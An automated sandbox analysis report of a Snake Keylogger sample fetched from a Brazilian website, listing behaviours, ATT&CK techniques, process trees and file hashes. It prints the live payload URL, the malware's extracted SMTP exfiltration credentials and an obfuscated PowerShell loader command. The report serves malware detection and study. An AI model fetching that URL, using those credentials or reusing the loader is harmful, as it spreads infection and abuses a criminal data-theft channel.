snakekeylogger | hxxp://crissertaoericardo[.]com[.]br/images/document[.]pif[.]rar

Analysis

max time kernel
208s
max time network
211s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
09-12-2024 16:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://crissertaoericardo.com.br/images/document.pif.rar

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.medicaltechexpo.com
Port:
587
Username:
[email protected]
Password:
Medical*2023
Email To:
[email protected]

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral1/memory/816-297-0x0000000001000000-0x0000000002253000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Executes dropped EXE 1 IoCs

pid	Process
3416	document.pif.exe

Blocklisted process makes network request 5 IoCs

flow	pid	Process
65	816	msiexec.exe
67	816	msiexec.exe
71	816	msiexec.exe
73	816	msiexec.exe
78	816	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
64	drive.google.com
65	drive.google.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\telectrograph\assimilationer.Qua	document.pif.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
816	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4108	powershell.exe
816	msiexec.exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\e08ee0d8-9f01-480b-a320-fccd27efb973.tmp	setup.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20241209162643.pma	setup.exe
File opened for modification	C:\Program Files (x86)\Common Files\intercepter.mos	document.pif.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4108	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
116	816	WerFault.exe	125

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	document.pif.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4074627901-37362009-3519777259-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
4380	msedge.exe
4380	msedge.exe
3640	msedge.exe
3640	msedge.exe
5104	msedge.exe
5104	msedge.exe
1124	identity_helper.exe
1124	identity_helper.exe
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe
2640	msedge.exe
2640	msedge.exe
2640	msedge.exe
2640	msedge.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4108	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeRestorePrivilege	2808	7zG.exe
Token: 35	2808	7zG.exe
Token: SeSecurityPrivilege	2808	7zG.exe
Token: SeSecurityPrivilege	2808	7zG.exe
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeIncreaseQuotaPrivilege	4108	powershell.exe
Token: SeSecurityPrivilege	4108	powershell.exe
Token: SeTakeOwnershipPrivilege	4108	powershell.exe
Token: SeLoadDriverPrivilege	4108	powershell.exe
Token: SeSystemProfilePrivilege	4108	powershell.exe
Token: SeSystemtimePrivilege	4108	powershell.exe
Token: SeProfSingleProcessPrivilege	4108	powershell.exe
Token: SeIncBasePriorityPrivilege	4108	powershell.exe
Token: SeCreatePagefilePrivilege	4108	powershell.exe
Token: SeBackupPrivilege	4108	powershell.exe
Token: SeRestorePrivilege	4108	powershell.exe
Token: SeShutdownPrivilege	4108	powershell.exe
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeSystemEnvironmentPrivilege	4108	powershell.exe
Token: SeRemoteShutdownPrivilege	4108	powershell.exe
Token: SeUndockPrivilege	4108	powershell.exe
Token: SeManageVolumePrivilege	4108	powershell.exe
Token: 33	4108	powershell.exe
Token: 34	4108	powershell.exe
Token: 35	4108	powershell.exe
Token: 36	4108	powershell.exe

Suspicious use of FindShellTrayWindow 36 IoCs

pid	Process
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
2808	7zG.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe
3640	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3640 wrote to memory of 1160	3640	msedge.exe	82
PID 3640 wrote to memory of 1160	3640	msedge.exe	82
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 2976	3640	msedge.exe	83
PID 3640 wrote to memory of 4380	3640	msedge.exe	84
PID 3640 wrote to memory of 4380	3640	msedge.exe	84
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85
PID 3640 wrote to memory of 940	3640	msedge.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument http://crissertaoericardo.com.br/images/document.pif.rar
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3640
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ffa5dda46f8,0x7ffa5dda4708,0x7ffa5dda4718
  2⤵
  PID:1160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2076 /prefetch:2
  2⤵
  PID:2976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2752 /prefetch:8
  2⤵
  PID:940
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
  2⤵
  PID:4948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:1
  2⤵
  PID:4936
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5936 /prefetch:8
  2⤵
  PID:1780
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
  2⤵
  - Drops file in Program Files directory
  PID:392
- - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x248,0x24c,0x250,0x224,0x254,0x7ff7c61b5460,0x7ff7c61b5470,0x7ff7c61b5480
    3⤵
    PID:820
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5936 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1124
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=6076 /prefetch:8
  2⤵
  PID:4468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6112 /prefetch:1
  2⤵
  PID:2368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6164 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6308 /prefetch:1
  2⤵
  PID:2784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6200 /prefetch:1
  2⤵
  PID:936
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4036 /prefetch:1
  2⤵
  PID:4004
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6740 /prefetch:1
  2⤵
  PID:3740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,17790395784861809365,14784968926187269740,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3000 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2640

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1276

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2452

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1404

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\" -an -ai#7zMap12859:82:7zEvent30097
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2808

C:\Users\Admin\Desktop\document.pif.exe
"C:\Users\Admin\Desktop\document.pif.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:3416
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Kagles=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\depersonaliseredes\Itchy.Div';$Handelshindringernes=$Kagles.SubString(70709,3);.$Handelshindringernes($Kagles)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  PID:4108
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:816
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 816 -s 2044
      4⤵
      Program crash
      PID:116

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 816 -ip 816
1⤵
PID:4012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
9d533e1f93a61b94eea29bf4313b0a8e

SHA1
96c1f0811d9e2fbf408e1b7186921b855fc891db

SHA256
ae95a7d192b6dfed1a8a5611850df994c63ba2038018901d59ef4dae64b74ed3

SHA512
b10de657d0cef4255e96daa1b6ad0c99c70b16c13b8e86790ea226e37e9ded1a8f8bed1e137f976d86ebc3ea9a4b5eb67ce2f5b0200025d35dc8e94c947ff3f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
fccab8a2a3330ebd702a08d6cc6c1aee

SHA1
2d0ea7fa697cb1723d240ebf3c0781ce56273cf7

SHA256
fa39b46c6f11977f5a2e6f4cd495db424063320fbac26a2eae7466e82ffeb712

SHA512
5339b52bad5dff926b66044067aa3e1a6147c389a27ebd89b0f16e1267621d7ce7af9810010bee81cba7b08c77a33ede8ef4675fe049b9fb2ed510fcaef93d6e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

Filesize
70KB

MD5
e5e3377341056643b0494b6842c0b544

SHA1
d53fd8e256ec9d5cef8ef5387872e544a2df9108

SHA256
e23040951e464b53b84b11c3466bbd4707a009018819f9ad2a79d1b0b309bc25

SHA512
83f09e48d009a5cf83fa9aa8f28187f7f4202c84e2d0d6e5806c468f4a24b2478b73077381d2a21c89aa64884df3c56e8dc94eb4ad2d6a8085ac2feb1e26c2ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
111B

MD5
285252a2f6327d41eab203dc2f402c67

SHA1
acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6

SHA256
5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026

SHA512
11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
d576b88259a8dbbb562f0102f3b5cbbb

SHA1
31144d1be99c9e5e50f27d97bce7d52ef345d3b7

SHA256
8c98eb4330520f82bab332ee1899e6a2f1e19ac5ee69153f21cb3bef6be89e3e

SHA512
6b95d66a828e0ecefe5c9ab9ac6b48335bfc6c1e51ab4fd023f7a68818420996d2249a367594bd0ad49590f148fa558b305295ab5c39508b8e3685dd2018da9a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
f19596250f557c805b57e4068a6a0157

SHA1
f0864b58763ba0537d77a476a1558669e709b23d

SHA256
1b043ee5470ad6e8812b5209250178c3fe0beb44ee12b5dd26108b5c89593548

SHA512
74474c42478b52e419013f82a6e9f8c91bb419d5575583e74a228c0e33fa37d4d2b69fbd036ab05549ba3751a9e3f357c17c6207601946a89364bac4f28a9830

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
1e95fb14109a6348b43e4432837a7faa

SHA1
4efd12faecbee0f587d97e76220b3ee614701558

SHA256
835387b2c63660d6e0b481af29c1507611534cd6102947a5602ff57461b20452

SHA512
65dc68a76f30bf87e8ee56c992001bd0c2e3a5cad04362f96ce0d02b970824b92ac91807ddc7a1793df8b70f8bd560ccdb37e7e981023367a4234b7f4e8ee9d4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
ed659b1d7a51e558246bd24f62fff931

SHA1
84685d6f04379c290e4261ff04e9e1879d54d42c

SHA256
23fafd9073812d5ff8b523b84bc981e4cb410bebbf3675db2b29cfac0dae9690

SHA512
1c3203328583241895db9fb165fcfd595f642e218ee3a453ab6873cbac10ddab693cd2f913bab15c8bb7b5a12c5768b3dfcb278aad754dec1fbffe66b81843cc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences

Filesize
24KB

MD5
7ec09c7cbd7cb0b8a777b3a9e2a1892e

SHA1
3b07979e57b6c93be7d5a6cd8fa954dee91bd8dd

SHA256
a623633f34a241b0dbc9fd26f34446d716955f94e90b2ff9ac8b9df801bdae5e

SHA512
5fff0a38a3b6e4b29d402eef2650011e4d9df514e0624767c84ea31cb73cbba10c7e0b5711cb487976d637f0f60a85c431cf0db54b519411245684c116c07b7b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
8e210cf29943cad27f889425add2a66d

SHA1
